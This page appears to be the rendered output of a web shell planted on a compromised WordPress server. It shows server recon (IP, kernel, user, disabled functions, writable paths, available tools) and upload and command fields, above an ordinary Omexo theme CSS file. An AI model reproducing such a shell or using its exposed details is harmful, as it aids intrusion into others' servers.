403Webshell
Server IP : 178.63.100.251  /  Your IP : 216.73.216.228
Web Server : LiteSpeed
System : Linux dobby.thevpsserver.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : truewayi ( 1855)
PHP Version : 7.4.33
Disable Function : show_source,system,shell_exec,passthru,exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/truewayi/public_html/wp-content/themes/omexo/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/truewayi/public_html/wp-content/themes/omexo/inc/dynamic-style.php
<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

function omexo_dynamic_style() {
    wp_enqueue_style( 'omexo-dynamic-style', get_template_directory_uri() . '/assets/css/dynamic-style.css', array(), '1.0', 'all' );
    
    $omexo_option        = get_option('omexo_opt');
    $primary_color       = omexo_array_get($omexo_option, 'primary-color') ? $omexo_option['primary-color'] : '';
    $body_color          = omexo_array_get($omexo_option, 'text-color') ? $omexo_option['text-color'] : '';
    $heading_color       = omexo_array_get($omexo_option, 'heading-color') ? $omexo_option['heading-color'] : '';
    $body_font_family    = omexo_array_get($omexo_option, 'body-typography') ? $omexo_option['body-typography']['font-family'] : '';
    $font_family         = omexo_array_get($omexo_option, 'heading-typography') ? $omexo_option['heading-typography']['font-family'] : '';
    $footer_widget_width = omexo_array_get($omexo_option, 'footer-widget-width') ? $omexo_option['footer-widget-width'] : '';
    $first_widget_width  = omexo_array_get($omexo_option, 'footer-first-widget-width') ? $omexo_option['footer-first-widget-width'] : '';
    $second_widget_width = omexo_array_get($omexo_option, 'footer-second-widget-width') ? $omexo_option['footer-second-widget-width'] : '';
    $third_widget_width  = omexo_array_get($omexo_option, 'footer-third-widget-width') ? $omexo_option['footer-third-widget-width'] : '';
    $fourth_widget_width = omexo_array_get($omexo_option, 'footer-fourth-widget-width') ? $omexo_option['footer-fourth-widget-width'] : '';

    $omexo_dynamic_css   = '';
    if (class_exists('Redux_Framework_Plugin')) {
        $omexo_dynamic_css .= ":root {
                --omexo-primary-color: {$primary_color};
                --omexo-body-color: {$body_color};
                --omexo-heading-color: {$heading_color};
                --omexo-body-font-family: {$body_font_family};
                --omexo-font-family: {$font_family};
                --omexo-font-light: 300;
                --omexo-font-regular: 400;
                --omexo-font-medium: 500;
                --omexo-font-semi-bold: 600;
                --omexo-font-bold: 700;
                --omexo-font-extra-bold: 800;
                --omexo-font-black: 900;
                --omexo-font-h1-size: 50px;
                --omexo-font-h2-size: 36px;
                --omexo-font-h3-size: 28px;
                --omexo-font-h4-size: 20px;
                --omexo-font-h5-size: 18px;
                --omexo-font-h6-size: 15px;
                --omexo-font-h1-lineHeight: 1.2;
                --omexo-font-h2-lineHeight: 1.4;
                --omexo-font-h3-lineHeight: 1.40;
                --omexo-font-h4-lineHeight: 1.4;
                --omexo-font-h5-lineHeight: 1.4;
                --omexo-font-h6-lineHeight: 1.6;
            }";
    } else{
        $omexo_dynamic_css .= ":root {
                --omexo-primary-color: #FF630E;
                --omexo-body-color: #696969;
                --omexo-heading-color: #130f40;
                --omexo-body-font-family: 'Rubik', sans-serif;
                --omexo-font-family: 'Urbanist', sans-serif;
                --omexo-font-light: 300;
                --omexo-font-regular: 400;
                --omexo-font-medium: 500;
                --omexo-font-semi-bold: 600;
                --omexo-font-bold: 700;
                --omexo-font-extra-bold: 800;
                --omexo-font-black: 900;
                --omexo-font-h1-size: 50px;
                --omexo-font-h2-size: 36px;
                --omexo-font-h3-size: 28px;
                --omexo-font-h4-size: 20px;
                --omexo-font-h5-size: 18px;
                --omexo-font-h6-size: 16px;
                --omexo-font-h1-lineHeight: 1.2;
                --omexo-font-h2-lineHeight: 1.4;
                --omexo-font-h3-lineHeight: 1.40;
                --omexo-font-h4-lineHeight: 1.4;
                --omexo-font-h5-lineHeight: 1.4;
                --omexo-font-h6-lineHeight: 1.6;
            }";
    }
    // Footer Widget Width
    $omexo_dynamic_css .= '
        .footer-widget-wrap{
            width: '.esc_attr($footer_widget_width ). '%;
        } 
        .footer-widget-wrap:first-child{
            width: '.esc_attr($first_widget_width ). '%;
        } 
        .footer-widget-wrap:nth-child(2){
            width: '.esc_attr($second_widget_width ). '%;
        } 
        .footer-widget-wrap:nth-child(3){
            width: '.esc_attr($third_widget_width ). '%;
        } 
        .footer-widget-wrap:nth-child(4){
            width: '.esc_attr($fourth_widget_width ).'%;
        } 
    ';

    // Responsive
    $omexo_dynamic_css .= '
        @media only screen and (max-width: 767px){
            .page-banner-area{
                padding-top: ' . esc_attr($omexo_option['page-title-spacing-for-mobile']['padding-top'] ) . ' !important;
                padding-bottom: ' . esc_attr($omexo_option['page-title-spacing-for-mobile']['padding-bottom'] ) . ' !important;
            }
        }
    ';

    wp_add_inline_style( 'omexo-dynamic-style', $omexo_dynamic_css );
}

add_action('wp_enqueue_scripts', 'omexo_dynamic_style');


// Override Elementor default styles
function omexo_elementor_default_styles()
{
    $omexo_option        = get_option('omexo_opt');
    $primary_color       = omexo_array_get($omexo_option, 'primary-color') ? $omexo_option['primary-color'] : '#FF630E';

    // Output the dynamic CSS
    echo "<style>
        .elementor-kit-6 {
            --e-global-color-primary: {$primary_color};
            --e-global-color-accent: {$primary_color};
        }
    </style>";
}
add_action('wp_head', 'omexo_elementor_default_styles');
add_action('elementor/editor/after_enqueue_styles', 'omexo_elementor_default_styles');


Youez - 2016 - github.com/yon3zu
LinuXploit